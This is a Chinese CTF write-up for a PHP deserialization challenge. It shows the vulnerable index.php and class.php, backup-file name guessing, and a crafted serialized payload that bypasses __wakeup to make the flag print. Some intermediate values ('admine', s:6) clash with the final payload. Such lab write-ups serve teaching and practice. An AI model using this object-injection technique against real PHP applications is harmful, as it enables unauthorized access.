[极客大挑战 2019]PHP 1
一进入题目,就有页面提示我们“所以我有一个良好的备份网站的习惯”
所以我们尝试着输入网站源码备份文件,看看能否访问
常见的网站源码备份文件后缀:
tar.gz,zip,rar,tar
常见的网站源码备份文件名:
web,website,backup,back,www,wwwroot,temp
发现www.zip可以成功获得网站源码备份
下载后,发现有3个php文件
我们先访问一下 index.php文件,发现:
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
发现文件包含 class.php 文件 并且文件是get 传参,参数为 select
unserialize():
- unserialize — 从已存储的表示中创建 PHP 的值列化后的字符串。
若被反序列化的变量是一个对象,在成功地重新构造对象之后,PHP 会自动地试图去调用 __wakeup()成员函数(如果存在的话)
访问 class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
发现php文件中包含 flag.php
并且 设置两个私有变量 ,利用 __construct 构造函数 来进行一个一一对应的关系
之后__wakeup() 让 username 变量等于 guest
在类结束的时候,调用__desctruct()函数 ,如果这个 password不等于100 ,就会输出 username…
password… ,退出函数。如果 username= admine 就会输出 flag 否则 失败。
在本题的关键,就是username的赋值 因为 __wakeup 会对userneme进行一次赋值,所以我们要想办法绕过该函数, 并且在一开始我们要改变 username的赋值
当成员属性数目大于实际数目时可绕过wakeup方法
在这里,我们可以将 php 代码 以文本的方式显示
[推荐网站](php代码在线测试,php在线执行 (dooccn.com))
构造payload:
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
以文本方式显示就是:
O:4:"Name":2:{s:14:"口Name口username";s:6:"admine";s:14:"口Name口password";s:3:"100";}
因为前面我们说过 当成员属性数目大于实际数目时才可绕过wakeup
所以我们要将 2 改为 3 或者 比二大的数字
同时,我们要将口变为 %00 若果不写 在我们复制的时候就会减少 空格
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}